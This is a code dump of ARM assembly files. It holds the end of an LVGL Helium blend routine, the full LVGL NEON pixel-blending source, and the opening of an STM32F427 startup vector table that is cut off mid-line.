.endif vdup.8 D_A, OPA vrmulh.u8 S_A, S_A, D_A .if \dst_bpp == 32 vpop {d14-d15} .endif .endif .elseif \opa == 1 vdup.8 S_A, OPA .endif blend \src_bpp, \dst_bpp, \mask, \opa, \mode .if (\src_bpp == 0) && ((\opa == 1) || \mask) vpop {d0-d5} .endif .if (\dst_bpp == 32) || \mask || (\opa == 1) load_index \dst_bpp, D, S, \aligned .endif ldst 1, st, \dst_bpp, DST, D, S, 1, 0, !, \aligned .else @ src_a (+\mask) (+\opa) load_index \dst_bpp, D, S, \aligned ldst 0, ld, \dst_bpp, DST, D, S, 1, 0, , \aligned .if (\dst_bpp == 32) && (\mask || \opa || (\aligned == 0)) vpush {d14-d15} .endif load_index \src_bpp, S, D, \aligned ldst 0, ld, \src_bpp, SRC, S, D, 1, 0, !, \aligned .if \mask == 0 .if \opa vdup.8 D_A, OPA vrmulh.u8 S_A, S_A, D_A .endif .else ldst 0, ld, 8, MASK, D, S, 0, 0, !, \aligned vrmulh.u8 S_A, S_A, D_A .if \opa vdup.8 D_A, OPA vrmulh.u8 S_A, S_A, D_A .endif .endif .if (\dst_bpp == 32) && (\mask || \opa || (\aligned == 0)) vpop {d14-d15} .endif blend \src_bpp, \dst_bpp, \mask, \opa, \mode load_index \dst_bpp, D, S, \aligned ldst 1, st, \dst_bpp, DST, D, S, 1, 0, !, \aligned .endif letp lr, 2b 1: .endm .macro enter complex push {r4-r11, lr} .if \complex vpush {d8-d15} .endif .endm .macro exit complex .if \complex vpop {d8-d15} .endif pop {r4-r11, pc} .endm .macro preload mem, bpp .if \bpp >= 31 pld [\mem\()_ADDR, DST_W, lsl #2] .elseif \bpp == 24 add TMP, DST_W, DST_W, lsl #1 pld [\mem\()_ADDR, TMP] .elseif \bpp == 16 pld [\mem\()_ADDR, DST_W, lsl #1] .elseif \bpp == 8 pld [\mem\()_ADDR, DST_W] .endif .endm .macro next src_bpp, mask add DST_ADDR, DST_ADDR, DST_STRIDE .if \src_bpp > 0 add SRC_ADDR, SRC_ADDR, SRC_STRIDE .endif .if \mask add MASK_ADDR, MASK_ADDR, MASK_STRIDE .endif .endm .macro blender src_bpp, dst_bpp, mask, opa, mode .if (\src_bpp <= 16) && (\dst_bpp == 16) && (\opa == 0) && (\mask == 0) enter 0 .else enter 1 .endif init \src_bpp, \dst_bpp, \mask, \opa movs H, DST_H beq 0f preload SRC, \src_bpp .if \mask || \opa || (\src_bpp == 32) preload DST, \dst_bpp .endif .if \opa && (\src_bpp < 32) && (\dst_bpp < 32) 4: @ 50% OPA can be accelerated (OPA == 0x7F/0x80) add TMP, OPA, #1 tst TMP, #0x7E bne 3f late_init \src_bpp, \dst_bpp, \mask, 2, \mode blend_line \src_bpp, \dst_bpp, \mask, 2, \mode next \src_bpp, \mask subs H, #1 bne 4b b 0f .endif 3: late_init \src_bpp, \dst_bpp, \mask, \opa, \mode blend_line \src_bpp, \dst_bpp, \mask, \opa, \mode next \src_bpp, \mask subs H, #1 bne 3b 0: .if (\src_bpp <= 16) && (\dst_bpp == 16) && (\opa == 0) && (\mask == 0) exit 0 .else exit 1 .endif .ltorg .endm .macro export name, src_bpp, dst_bpp, mask, opa, mode .thumb_func .global \name \name\(): blender \src_bpp, \dst_bpp, \mask, \opa, \mode .endm .macro export_set src, dst, src_bpp, dst_bpp, mode .ifc \src, color export lv_\src\()_blend_to_\dst\()_helium, \src_bpp, \dst_bpp, 0, 0, \mode export lv_\src\()_blend_to_\dst\()_with_opa_helium, \src_bpp, \dst_bpp, 0, 1, \mode export lv_\src\()_blend_to_\dst\()_with_mask_helium, \src_bpp, \dst_bpp, 1, 0, \mode export lv_\src\()_blend_to_\dst\()_mix_mask_opa_helium, \src_bpp, \dst_bpp, 1, 1, \mode .else export lv_\src\()_blend_\mode\()_to_\dst\()_helium, \src_bpp, \dst_bpp, 0, 0, \mode export lv_\src\()_blend_\mode\()_to_\dst\()_with_opa_helium, \src_bpp, \dst_bpp, 0, 1, \mode export lv_\src\()_blend_\mode\()_to_\dst\()_with_mask_helium, \src_bpp, \dst_bpp, 1, 0, \mode export lv_\src\()_blend_\mode\()_to_\dst\()_mix_mask_opa_helium, \src_bpp, \dst_bpp, 1, 1, \mode .endif .endm export_set color, rgb565, 0, 16, normal export_set rgb565, rgb565, 16, 16, normal export_set rgb888, rgb565, 24, 16, normal export_set xrgb8888, rgb565, 31, 16, normal export_set argb8888, rgb565, 32, 16, normal export_set color, rgb888, 0, 24, normal export_set rgb565, rgb888, 16, 24, normal export_set rgb888, rgb888, 24, 24, normal export_set xrgb8888, rgb888, 31, 24, normal export_set argb8888, rgb888, 32, 24, normal export_set color, xrgb8888, 0, 31, normal export_set rgb565, xrgb8888, 16, 31, normal export_set rgb888, xrgb8888, 24, 31, normal export_set xrgb8888, xrgb8888, 31, 31, normal export_set argb8888, xrgb8888, 32, 31, normal export_set color, argb8888, 0, 32, normal export_set rgb565, argb8888, 16, 32, normal export_set rgb888, argb8888, 24, 32, normal export_set xrgb8888, argb8888, 31, 32, normal export_set argb8888, argb8888, 32, 32, normal #endif /*LV_USE_DRAW_SW_ASM == LV_DRAW_SW_ASM_HELIUM && defined(__ARM_FEATURE_MVE) && __ARM_FEATURE_MVE && LV_USE_NATIVE_HELIUM_ASM*/

100askTeam/xiaozhi-linux

21,316

gui/lvgl/src/draw/sw/blend/neon/lv_blend_neon.S

/** * @file lv_blend_neon.S * */ #ifndef __ASSEMBLY__ #define __ASSEMBLY__ #endif #include "lv_blend_neon.h" #if LV_USE_DRAW_SW_ASM == LV_DRAW_SW_ASM_NEON .text .fpu neon .arch armv7a .syntax unified .altmacro .p2align 2 @ d0 ~ d3 : src B,G,R,A @ d4 ~ d7 : dst B,G,R,A @ q8 : src RGB565 raw @ q9 : dst RGB565 raw @ q10 ~ q12: pre-multiplied src @ d26~29 : temp @ d30 : mask @ d31 : opa FG_MASK .req r0 BG_MASK .req r1 DST_ADDR .req r2 DST_W .req r3 DST_H .req r4 DST_STRIDE .req r5 SRC_ADDR .req r6 SRC_STRIDE .req r7 MASK_ADDR .req r8 MASK_STRIDE .req r9 W .req r10 H .req r11 S_8888_L .qn q0 S_8888_H .qn q1 D_8888_L .qn q2 D_8888_H .qn q3 S_B .dn d0 S_G .dn d1 S_R .dn d2 S_A .dn d3 D_B .dn d4 D_G .dn d5 D_R .dn d6 D_A .dn d7 S_565 .qn q8 D_565 .qn q9 S_565_L .dn d16 S_565_H .dn d17 D_565_L .dn d18 D_565_H .dn d19 PREMULT_B .qn q10 PREMULT_G .qn q11 PREMULT_R .qn q12 TMP_Q0 .qn q13 TMP_D0 .dn d26 TMP_D1 .dn d27 TMP_Q1 .qn q14 TMP_D2 .dn d28 TMP_D3 .dn d29 M_A .dn d30 OPA .dn d31 .macro convert reg, bpp, intlv .if bpp >= 31 .if intlv vzip.8 reg&_B, reg&_R @ BRBRBRBR GGGGGGGG BRBRBRBR AAAAAAAA vzip.8 reg&_G, reg&_A @ BRBRBRBR GAGAGAGA BRBRBRBR GAGAGAGA vzip.8 reg&_R, reg&_A @ BRBRBRBR GAGAGAGA BGRABGRA BGRABGRA vzip.8 reg&_B, reg&_G @ BGRABGRA BGRABGRA BGRABGRA BGRABGRA .else vuzp.8 reg&_B, reg&_G @ BRBRBRBR GAGAGAGA BGRABGRA BGRABGRA vuzp.8 reg&_R, reg&_A @ BRBRBRBR GAGAGAGA BRBRBRBR GAGAGAGA vuzp.8 reg&_G, reg&_A @ BRBRBRBR GGGGGGGG BRBRBRBR AAAAAAAA vuzp.8 reg&_B, reg&_R @ BBBBBBBB GGGGGGGG RRRRRRRR AAAAAAAA .endif .elseif bpp == 24 .if intlv @ for init only (same B,G,R for all channel) vzip.8 reg&_B, reg&_G @ BGBGBGBG BGBGBGBG RRRRRRRR vzip.16 reg&_B, reg&_R @ BGRRBGRR BGBGBGBG BGRRBGRR vsli.64 reg&_8888_L, reg&_8888_L, #24 @ BGRBGRRB BGBBGBGB vsli.64 reg&_B, reg&_G, #48 @ BGRBGRBG vsri.64 reg&_R, reg&_B, #8 @ GRBGRBGR vsri.64 reg&_G, reg&_R, #8 @ RBGRBGRB .endif .elseif bpp == 16 .if intlv vshll.u8 reg&_565, reg&_R, #8 @ RRRrrRRR 00000000 vshll.u8 TMP_Q0, reg&_G, #8 @ GGGgggGG 00000000 vshll.u8 TMP_Q1, reg&_B, #8 @ BBBbbBBB 00000000 vsri.16 reg&_565, TMP_Q0, #5 @ RRRrrGGG gggGG000 vsri.16 reg&_565, TMP_Q1, #11 @ RRRrrGGG gggBBBbb .else vshr.u8 TMP_Q0, reg&_565, #3 @ 000RRRrr 000gggBB vshrn.i16 reg&_G, reg&_565, #5 @ rrGGGggg vshrn.i16 reg&_R, TMP_Q0, #5 @ RRRrr000 vshl.i8 reg&_G, reg&_G, #2 @ GGGggg00 vshl.i16 TMP_Q1, reg&_565, #3 @ rrGGGggg BBBbb000 vsri.8 reg&_R, reg&_R, #5 @ RRRrrRRR vmovn.i16 reg&_B, TMP_Q1 @ BBBbb000 vsri.8 reg&_G, reg&_G, #6 @ GGGgggGG vsri.8 reg&_B, reg&_B, #5 @ BBBbbBBB .endif .endif .endm .macro ldst op, bpp, len, mem, reg, cvt, wb .if bpp >= 31 .if len == 8 .if cvt v&op&4.8 {reg&_B, reg&_G, reg&_R, reg&_A}, [mem&_ADDR]&wb .else v&op&1.32 {reg&_8888_L, reg&_8888_H}, [mem&_ADDR]&wb .endif .else .if (op == st) && cvt convert reg, bpp, 1 .endif .if len == 7 v&op&1.32 {reg&_8888_L}, [mem&_ADDR]! v&op&1.32 {reg&_R}, [mem&_ADDR]! v&op&1.32 {reg&_A[0]}, [mem&_ADDR]! .elseif len == 6 v&op&1.32 {reg&_8888_L}, [mem&_ADDR]! v&op&1.32 {reg&_R}, [mem&_ADDR]! .elseif len == 5 v&op&1.32 {reg&_8888_L}, [mem&_ADDR]! v&op&1.32 {reg&_R[0]}, [mem&_ADDR]! .elseif len == 4 v&op&1.32 {reg&_8888_L}, [mem&_ADDR]&wb .elseif len == 3 v&op&1.32 {reg&_B}, [mem&_ADDR]! v&op&1.32 {reg&_G[0]}, [mem&_ADDR]! .elseif len == 2 v&op&1.32 {reg&_B}, [mem&_ADDR]&wb .elseif len == 1 v&op&1.32 {reg&_B[0]}, [mem&_ADDR]&wb .else .error "[32bpp]len should be 1~8" .endif .if (op == ld) && cvt convert reg, bpp, 0 .endif .if (wb&1) && (len != 4) && (len != 2) && (len != 1) sub mem&_ADDR, #4*len .endif .endif .elseif bpp == 24 .if len == 8 .if cvt v&op&3.8 {reg&_B, reg&_G, reg&_R}, [mem&_ADDR]&wb .else v&op&1.8 {reg&_B, reg&_G, reg&_R}, [mem&_ADDR]&wb .endif .elseif (len < 8) && (len > 0) .if cvt v&op&3.8 {reg&_B[0], reg&_G[0], reg&_R[0]}, [mem&_ADDR]! .if len > 1 v&op&3.8 {reg&_B[1], reg&_G[1], reg&_R[1]}, [mem&_ADDR]! .endif .if len > 2 v&op&3.8 {reg&_B[2], reg&_G[2], reg&_R[2]}, [mem&_ADDR]! .endif .if len > 3 v&op&3.8 {reg&_B[3], reg&_G[3], reg&_R[3]}, [mem&_ADDR]! .endif .if len > 4 v&op&3.8 {reg&_B[4], reg&_G[4], reg&_R[4]}, [mem&_ADDR]! .endif .if len > 5 v&op&3.8 {reg&_B[5], reg&_G[5], reg&_R[5]}, [mem&_ADDR]! .endif .if len > 6 v&op&3.8 {reg&_B[6], reg&_G[6], reg&_R[6]}, [mem&_ADDR]! .endif .if wb&1 sub mem&_ADDR, #3*len .endif .else .if len == 7 v&op&1.32 {reg&_8888_L}, [mem&_ADDR]! v&op&1.32 {reg&_R[0]}, [mem&_ADDR]! v&op&1.8 {reg&_R[4]}, [mem&_ADDR]! .elseif len == 6 v&op&1.32 {reg&_8888_L}, [mem&_ADDR]! v&op&1.16 {reg&_R[0]}, [mem&_ADDR]! .elseif len == 5 v&op&1.32 {reg&_B}, [mem&_ADDR]! v&op&1.32 {reg&_G[0]}, [mem&_ADDR]! v&op&1.16 {reg&_G[2]}, [mem&_ADDR]! v&op&1.8 {reg&_G[6]}, [mem&_ADDR]! .elseif len == 4 v&op&1.32 {reg&_B}, [mem&_ADDR]! v&op&1.32 {reg&_G[0]}, [mem&_ADDR]! .elseif len == 3 v&op&1.32 {reg&_B}, [mem&_ADDR]! v&op&1.8 {reg&_G[0]}, [mem&_ADDR]! .elseif len == 2 v&op&1.32 {reg&_B[0]}, [mem&_ADDR]! v&op&1.16 {reg&_B[2]}, [mem&_ADDR]! .elseif len == 1 v&op&1.16 {reg&_B[0]}, [mem&_ADDR]! v&op&1.8 {reg&_B[2]}, [mem&_ADDR]! .endif .if wb&1 sub mem&_ADDR, #3*len .endif .endif .else .error "[24bpp]len should be 1~8" .endif .elseif bpp == 16 .if (op == st) && cvt convert reg, bpp, 1 .endif .if len == 8 v&op&1.16 {reg&_565}, [mem&_ADDR]&wb .elseif len == 7 v&op&1.16 {reg&_565_L}, [mem&_ADDR]! v&op&1.32 {reg&_565_H[0]}, [mem&_ADDR]! v&op&1.16 {reg&_565_H[2]}, [mem&_ADDR]! .if wb&1 sub mem&_ADDR, #14 .endif .elseif len == 6 v&op&1.16 {reg&_565_L}, [mem&_ADDR]! v&op&1.32 {reg&_565_H[0]}, [mem&_ADDR]! .if wb&1 sub mem&_ADDR, #12 .endif .elseif len == 5 v&op&1.16 {reg&_565_L}, [mem&_ADDR]! v&op&1.16 {reg&_565_H[0]}, [mem&_ADDR]! .if wb&1 sub mem&_ADDR, #10 .endif .elseif len == 4 v&op&1.16 {reg&_565_L}, [mem&_ADDR]&wb .elseif len == 3 v&op&1.32 {reg&_565_L[0]}, [mem&_ADDR]! v&op&1.16 {reg&_565_L[2]}, [mem&_ADDR]! .if wb&1 sub mem&_ADDR, #6 .endif .elseif len == 2 v&op&1.32 {reg&_565_L[0]}, [mem&_ADDR]&wb .elseif len == 1 v&op&1.16 {reg&_565_L[0]}, [mem&_ADDR]&wb .else .error "[16bpp]len should be 1~8" .endif .if (op == ld) && cvt convert reg, bpp, 0 .endif .elseif bpp == 8 .if len == 8 v&op&1.8 {reg&_A}, [mem&_ADDR]&wb .elseif len == 7 v&op&1.32 {reg&_A[0]}, [mem&_ADDR]! v&op&1.16 {reg&_A[2]}, [mem&_ADDR]! v&op&1.8 {reg&_A[6]}, [mem&_ADDR]! .if wb&1 sub mem&_ADDR, #7 .endif .elseif len == 6 v&op&1.32 {reg&_A[0]}, [mem&_ADDR]! v&op&1.16 {reg&_A[2]}, [mem&_ADDR]! .if wb&1 sub mem&_ADDR, #6 .endif .elseif len == 5 v&op&1.32 {reg&_A[0]}, [mem&_ADDR]! v&op&1.8 {reg&_A[4]}, [mem&_ADDR]! .if wb&1 sub mem&_ADDR, #5 .endif .elseif len == 4 v&op&1.32 {reg&_A[0]}, [mem&_ADDR]&wb .elseif len == 3 v&op&1.16 {reg&_A[0]}, [mem&_ADDR]! v&op&1.8 {reg&_A[2]}, [mem&_ADDR]! .if wb&1 sub mem&_ADDR, #3 .endif .elseif len == 2 v&op&1.16 {reg&_A[0]}, [mem&_ADDR]&wb .elseif len == 1 v&op&1.8 {reg&_A[0]}, [mem&_ADDR]&wb .else .error "[8bpp]len should be 1~8" .endif .elseif (bpp == 0) && wb&1 .if len == 8 v&op&3.8 {reg&_B[], reg&_G[], reg&_R[]}, [mem&_ADDR] .else .error "[color]len should be 8" .endif .endif .if (op == ld) && cvt && (bpp > 8) && (bpp < 32) vmov.u8 reg&_A, #0xFF .endif .endm .macro premult alpha vmull.u8 PREMULT_B, S_B, alpha vmull.u8 PREMULT_G, S_G, alpha vmull.u8 PREMULT_R, S_R, alpha .endm .macro init src_bpp, dst_bpp, mask, opa ldr DST_ADDR, [r0, #4] ldr DST_W, [r0, #8] ldr DST_H, [r0, #12] ldr DST_STRIDE, [r0, #16] ldr SRC_ADDR, [r0, #20] .if src_bpp > 0 ldr SRC_STRIDE, [r0, #24] .endif .if mask ldr MASK_ADDR, [r0, #28] ldr MASK_STRIDE, [r0, #32] sub MASK_STRIDE, MASK_STRIDE, DST_W .endif .if opa vld1.8 {OPA[]}, [r0] .else vmov.u8 OPA, #0xFF .endif vmvn D_A, OPA .if dst_bpp == 16 sub DST_STRIDE, DST_STRIDE, DST_W, lsl #1 .elseif dst_bpp == 24 sub DST_STRIDE, DST_STRIDE, DST_W sub DST_STRIDE, DST_STRIDE, DST_W, lsl #1 .elseif dst_bpp >= 31 sub DST_STRIDE, DST_STRIDE, DST_W, lsl #2 .endif .if src_bpp == 0 .if mask || opa ldst ld, src_bpp, 8, SRC, S, 1 vmov.u8 S_A, #0xFF premult OPA .else ldst ld, src_bpp, 8, SRC, D, 1 vmov.u8 D_A, #0xFF convert D, dst_bpp, 1 .endif .else .if src_bpp == 16 sub SRC_STRIDE, SRC_STRIDE, DST_W, lsl #1 .elseif src_bpp == 24 sub SRC_STRIDE, SRC_STRIDE, DST_W sub SRC_STRIDE, SRC_STRIDE, DST_W, lsl #1 .elseif src_bpp >= 31 sub SRC_STRIDE, SRC_STRIDE, DST_W, lsl #2 .endif .endif mvn FG_MASK, #0 mvn BG_MASK, #0 .endm @ input: M_A = 255 - fg.alpha .macro calc_alpha len vmov.u8 TMP_D0, #0xFD vmvn D_A, D_A vcge.u8 TMP_D1, S_A, TMP_D0 @ if (fg.alpha >= LV_OPA_MAX vcge.u8 TMP_D2, D_A, TMP_D0 @ || bg.alpha <= LV_OPA_MIN) vorr TMP_D2, TMP_D1 vcge.u8 TMP_D3, M_A, TMP_D0 @ elseif (fg.alpha <= LV_OPA_MIN) vmvn TMP_Q1, TMP_Q1 vshrn.i16 TMP_D0, TMP_Q1, #4 vmov FG_MASK, BG_MASK, TMP_D0 cbz FG_MASK, 99f @ return fg; vmull.u8 TMP_Q0, M_A, D_A @ D_A = 255 - LV_OPA_MIX2(255 - fg.alpha, 255 - bg.alpha) vqrshrn.u16 M_A, TMP_Q0, #8 vbif M_A, D_A, TMP_D3 @ insert original D_A when fg.alpha <= LV_OPA_MIN vmvn D_A, M_A cbz BG_MASK, 99f @ return bg; vmov.u8 TMP_D2, #0xFF vmovl.u8 TMP_Q0, D_A .if len > 4 vmovl.u16 S_565, TMP_D1 .endif vmovl.u16 TMP_Q0, TMP_D0 vmull.u8 TMP_Q1, S_A, TMP_D2 vcvt.f32.u32 TMP_Q0, TMP_Q0 .if len > 4 vmovl.u16 D_565, TMP_D3 vcvt.f32.u32 S_565, S_565 .endif vmovl.u16 TMP_Q1, TMP_D2 vrecpe.f32 TMP_Q0, TMP_Q0 vcvt.f32.u32 TMP_Q1, TMP_Q1 .if len > 4 vcvt.f32.u32 D_565, D_565 vrecpe.f32 S_565, S_565 .endif vmul.f32 TMP_Q0, TMP_Q0, TMP_Q1 .if len > 4 vmul.f32 S_565, S_565, D_565 .endif vcvt.u32.f32 TMP_Q0, TMP_Q0 .if len > 4 vcvt.u32.f32 S_565, S_565 .endif vmovn.u32 TMP_D0, TMP_Q0 .if len > 4 vmovn.u32 TMP_D1, S_565 .endif vmovn.u16 TMP_D0, TMP_Q0 premult TMP_D0 vmvn M_A, TMP_D0 99: .endm .macro blend mode, dst_bpp .if dst_bpp == 32 vmov TMP_D0, FG_MASK, BG_MASK vmovl.s8 TMP_Q0, TMP_D0 vsli.8 TMP_Q0, TMP_Q0, #4 cbz FG_MASK, 98f .endif .if mode == normal .if dst_bpp == 32 cbz BG_MASK, 97f mvns BG_MASK, BG_MASK beq 96f vmov S_565_L, D_B vmov S_565_H, D_G vmov D_565_L, D_R .endif 96: vmlal.u8 PREMULT_B, D_B, M_A vmlal.u8 PREMULT_G, D_G, M_A vmlal.u8 PREMULT_R, D_R, M_A vqrshrn.u16 D_B, PREMULT_B, #8 vqrshrn.u16 D_G, PREMULT_G, #8 vqrshrn.u16 D_R, PREMULT_R, #8 .if dst_bpp == 32 beq 97f vbif D_B, S_565_L, TMP_D1 vbif D_G, S_565_H, TMP_D1 vbif D_R, D_565_L, TMP_D1 97: mvns FG_MASK, FG_MASK beq 99f .endif .else .error "blend mode is unsupported" .endif .if dst_bpp == 32 98: vbif D_B, S_B, TMP_D0 vbif D_G, S_G, TMP_D0 vbif D_R, S_R, TMP_D0 vbif D_A, S_A, TMP_D0 99: .endif .endm .macro process len, src_bpp, dst_bpp, mask, opa, mode .if (src_bpp < 32) && (mask == 0) && (opa == 0) @ no blend .if src_bpp == 0 || src_bpp == dst_bpp ldst ld, src_bpp, len, SRC, D, 0, ! ldst st, dst_bpp, len, DST, D, 0, ! .else ldst ld, src_bpp, len, SRC, D, 1, ! ldst st, dst_bpp, len, DST, D, 1, ! .endif .elseif src_bpp < 32 @ no src_a .if src_bpp > 0 ldst ld, src_bpp, len, SRC, S, 1, ! .endif ldst ld, dst_bpp, len, DST, D, 1 .if mask ldst ld, 8, len, MASK, S, 1, ! .if opa vmull.u8 TMP_Q0, S_A, OPA vqrshrn.u16 S_A, TMP_Q0, #8 .endif vmvn M_A, S_A .if dst_bpp < 32 premult S_A .else calc_alpha len .endif .else vmvn M_A, OPA .if dst_bpp < 32 premult OPA .else vmov S_A, OPA calc_alpha len .endif .endif blend mode, dst_bpp ldst st, dst_bpp, len, DST, D, 1, ! .else @ src_a (+mask) (+opa) ldst ld, src_bpp, len, SRC, S, 1, ! ldst ld, dst_bpp, len, DST, D, 1 .if mask == 0 .if opa vmull.u8 TMP_Q0, S_A, OPA vqrshrn.u16 S_A, TMP_Q0, #8 .endif .else ldst ld, 8, len, MASK, M, 1, ! vmull.u8 TMP_Q0, S_A, M_A vqrshrn.u16 S_A, TMP_Q0, #8 .if opa vmull.u8 TMP_Q0, S_A, OPA vqrshrn.u16 S_A, TMP_Q0, #8 .endif .endif vmvn M_A, S_A .if dst_bpp < 32 premult S_A .else calc_alpha len .endif blend mode, dst_bpp ldst st, dst_bpp, len, DST, D, 1, ! .endif .endm .macro tail src_bpp, dst_bpp, mask, opa, mode tst DST_W, #4 beq 3f tst DST_W, #2 beq 5f tst DST_W, #1 beq 6f process 7, src_bpp, dst_bpp, mask, opa, mode b 0f 6: process 6, src_bpp, dst_bpp, mask, opa, mode b 0f 5: tst DST_W, #1 beq 4f process 5, src_bpp, dst_bpp, mask, opa, mode b 0f 4: process 4, src_bpp, dst_bpp, mask, opa, mode b 0f 3: tst DST_W, #2 beq 1f tst DST_W, #1 beq 2f process 3, src_bpp, dst_bpp, mask, opa, mode b 0f 2: process 2, src_bpp, dst_bpp, mask, opa, mode b 0f 1: process 1, src_bpp, dst_bpp, mask, opa, mode 0: .endm .macro next src_bpp, mask add DST_ADDR, DST_ADDR, DST_STRIDE .if src_bpp add SRC_ADDR, SRC_ADDR, SRC_STRIDE .endif .if mask add MASK_ADDR, MASK_ADDR, MASK_STRIDE .endif .endm .macro enter push {r4-r11, lr} .endm .macro exit pop {r4-r11, pc} .endm .macro preload mem, bpp .if bpp >= 31 pld [mem&_ADDR, DST_W, lsl #2] .elseif bpp == 24 add W, DST_W, DST_W, lsl #1 pld [mem&_ADDR, W] .elseif bpp == 16 pld [mem&_ADDR, DST_W, lsl #1] .elseif bpp == 8 pld [mem&_ADDR, DST_W] .endif .endm .macro blender src_bpp, dst_bpp, mask, opa, mode enter init src_bpp, dst_bpp, mask, opa movs H, DST_H beq 0f preload SRC, src_bpp .if mask || opa || (src_bpp == 32) preload DST, dst_bpp .endif subs W, DST_W, #8 blt 7f 9: process 8, src_bpp, dst_bpp, mask, opa, mode subs W, W, #8 bge 9b tst DST_W, #7 beq 8f tail src_bpp, dst_bpp, mask, opa, mode 8: next src_bpp, mask preload SRC, src_bpp .if mask || opa || (src_bpp == 32) preload DST, dst_bpp .endif sub W, DST_W, #8 subs H, H, #1 bgt 9b exit 7: tail src_bpp, dst_bpp, mask, opa, mode next src_bpp, mask subs H, H, #1 bgt 7b exit .endm .macro export name, src_bpp, dst_bpp, mask, opa, mode .thumb_func .func name .global name .hidden name name&: blender src_bpp, dst_bpp, mask, opa, mode .endfunc .endm .macro export_set src, dst, src_bpp, dst_bpp, mode .if src == color export _lv_&src&_blend_to_&dst&_neon, src_bpp, dst_bpp, 0, 0, mode export _lv_&src&_blend_to_&dst&_with_opa_neon, src_bpp, dst_bpp, 0, 1, mode export _lv_&src&_blend_to_&dst&_with_mask_neon, src_bpp, dst_bpp, 1, 0, mode export _lv_&src&_blend_to_&dst&_mix_mask_opa_neon, src_bpp, dst_bpp, 1, 1, mode .else export _lv_&src&_blend_&mode&_to_&dst&_neon, src_bpp, dst_bpp, 0, 0, mode export _lv_&src&_blend_&mode&_to_&dst&_with_opa_neon, src_bpp, dst_bpp, 0, 1, mode export _lv_&src&_blend_&mode&_to_&dst&_with_mask_neon, src_bpp, dst_bpp, 1, 0, mode export _lv_&src&_blend_&mode&_to_&dst&_mix_mask_opa_neon, src_bpp, dst_bpp, 1, 1, mode .endif .endm export_set color, rgb565, 0, 16, normal export_set rgb565, rgb565, 16, 16, normal export_set rgb888, rgb565, 24, 16, normal export_set xrgb8888, rgb565, 31, 16, normal export_set argb8888, rgb565, 32, 16, normal export_set color, rgb888, 0, 24, normal export_set rgb565, rgb888, 16, 24, normal export_set rgb888, rgb888, 24, 24, normal export_set xrgb8888, rgb888, 31, 24, normal export_set argb8888, rgb888, 32, 24, normal export_set color, xrgb8888, 0, 31, normal export_set rgb565, xrgb8888, 16, 31, normal export_set rgb888, xrgb8888, 24, 31, normal export_set xrgb8888, xrgb8888, 31, 31, normal export_set argb8888, xrgb8888, 32, 31, normal export_set color, argb8888, 0, 32, normal export_set rgb565, argb8888, 16, 32, normal export_set rgb888, argb8888, 24, 32, normal export_set xrgb8888, argb8888, 31, 32, normal export_set argb8888, argb8888, 32, 32, normal #endif /*LV_USE_DRAW_SW_ASM == LV_DRAW_SW_ASM_NEON*/

1105042987/RM_frame

30,852

MDK-ARM/startup_stm32f427xx.s

;******************** (C) COPYRIGHT 2017 STMicroelectronics ******************** ;* File Name : startup_stm32f427xx.s ;* Author : MCD Application Team ;* Description : STM32F427x devices vector table for MDK-ARM toolchain. ;* This module performs: ;* - Set the initial SP ;* - Set the initial PC == Reset_Handler ;* - Set the vector table entries with the exceptions ISR address ;* After Reset the CortexM4 processor is in Thread mode, ;* priority is Privileged, and the Stack is set to Main. ;* <<< Use Configuration Wizard in Context Menu >>> ;******************************************************************************* ; ;* Redistribution and use in source and binary forms, with or without modification, ;* are permitted provided that the following conditions are met: ;* 1. Redistributions of source code must retain the above copyright notice, ;* this list of conditions and the following disclaimer. ;* 2. Redistributions in binary form must reproduce the above copyright notice, ;* this list of conditions and the following disclaimer in the documentation ;* and/or other materials provided with the distribution. ;* 3. Neither the name of STMicroelectronics nor the names of its contributors ;* may be used to endorse or promote products derived from this software ;* without specific prior written permission. ;* ;* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE ;* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; ;******************************************************************************* ; Amount of memory (in bytes) allocated for Stack ; Tailor this value to your application needs ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x200 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD MemManage_Handler ; MPU Fault Handler DCD BusFault_Handler ; Bus Fault Handler DCD UsageFault_Handler ; Usage Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD DebugMon_Handler ; Debug Monitor Handler DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WWDG_IRQHandler ; Window WatchDog DCD PVD_IRQHandler ; PVD through EXTI Line detection DCD TAMP_STAMP_IRQHandler ; Tamper and TimeStamps through the EXTI line DCD RTC_WKUP_IRQHandler ; RTC Wakeup through the EXTI line DCD FLASH_IRQHandler ; FLASH DCD RCC_IRQHandler ; RCC DCD EXTI0_IRQHandler ; EXTI Line0 DCD EXTI1_IRQHandler ; EXTI Line1 DCD EXTI2_IRQHandler ; EXTI 